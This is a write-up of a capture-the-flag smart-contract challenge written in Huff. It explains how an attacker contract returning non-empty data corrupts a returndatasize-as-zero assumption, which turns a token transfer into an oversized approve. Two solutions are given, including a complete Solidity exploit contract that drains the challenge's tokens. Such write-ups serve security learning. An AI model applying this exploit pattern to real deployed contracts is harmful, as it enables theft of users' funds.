This is a writeup for https://github.com/Philogy/sussy-huff-ctf.
challenge.addToTokenOrder(0.5e18, 999.0e6);
token.transfer(attackerStartAccount, 1.0e6);
vm.stopPrank();
vm.deal(attackerStartAccount, 100 ether);
- required_token_amount = 1998e6 * 0.5e18 / WAD = 999e6 (initial balance of the Challenge)
- = 1998e6 wei is enough to buy all remaining tokens
Solution #1
challenge.addToEthOrder{value: 1998e6}(0.5e18);
challenge.matchEthOrder(attackerStartAccount, tokenOwner, 0.5e18);
SAFE_MUL(<zero>) // [eth_sell_amount * price, WAD, buyer_token_amount, buyer_order_slot, eth_sell_amount, price, buyer, seller]
div // [required_tokens, buyer_token_amount, buyer_order_slot, eth_sell_amount, price, buyer, seller]
: In the code, it's calculated as (price * eth_sell_amount) / wad
RCALL(<zero>) // [eth_sell_amount, price, buyer, seller]
...
__FUNC_SIG(transfer) <zero> mstore
Also, the last 4bytes of TOKEN_ORDERS_SLOT equals to FUNC_SIG(approve).
#define constant TOKEN_ORDERS_SLOT = 0x52cfa636092f712b3c21ef98bcd41f3ce3b718ddf8ed6b59941f6461095ea7b3
$ cast sig 'approve(address,uint)'
0x095ea7b3
If attacker returns non-zero return data from the RCALL, <zero>
(=returndatasize) becomes non-zero. This makes the mstore above write FUNC_SIG(transfer) to non-0x0.
contract Attacker {
receive() {
// Make <zero>(=returndatasize) return 0x40 from now on
assembly {
return(0, 0x40)
}
}
}
By making <zero>
return 0x40, we can overwrite the amount field to FUNC_SIG(transfer)
, keep function signature as FUNC_SIG(approve)
- this makes challenge call token.approve(buyer, FUNC_SIG(transfer))
instead of token.transfer(buyer, required_token)
.
Solution #2
// Put solution here, no cheat codes
Attacker attacker = new Attacker{value: 1 wei}(tokenOwner, challenge, IERC20(address(token)));
token.transfer(address(attacker), 1);
attacker.hack();
...
interface IERC20 {
function approve(address to, uint256 amount) external;
function transferFrom(address from, address to, uint256 amount) external;
}
contract Attacker {
address tokenOwner;
IChallenge challenge;
IERC20 token;
constructor(address tokenOwner_, IChallenge challenge_, IERC20 token_) payable {
tokenOwner = tokenOwner_;
challenge = challenge_;
token = token_;
}
function hack() public {
uint256 price = 1 ether;
token.approve(address(challenge), 1);
// Make an eth-token order pair at price 1 ether x 1 token
challenge.addToTokenOrder(price, 1);
challenge.addToEthOrder{value: 1 wei}(price);
// Now this.receive() will be called, returndatasize becomes 0x40, which transforms transfer(to:this, amount:1) to approve(to:this, amount: FUNC_SIG(transfer))
challenge.matchEthOrder(address(this), address(this), price);
// Magic! token.allowance(challenge, address(this)) became FUNC_SIG(transfer), which is larger than 999e6.
token.transferFrom(address(challenge), address(this), 999e6 + 1);
}
receive() external payable {
assembly { return(0, 0x40) }
}
}
Thanks for the fun challenge! was nerdsniped by huff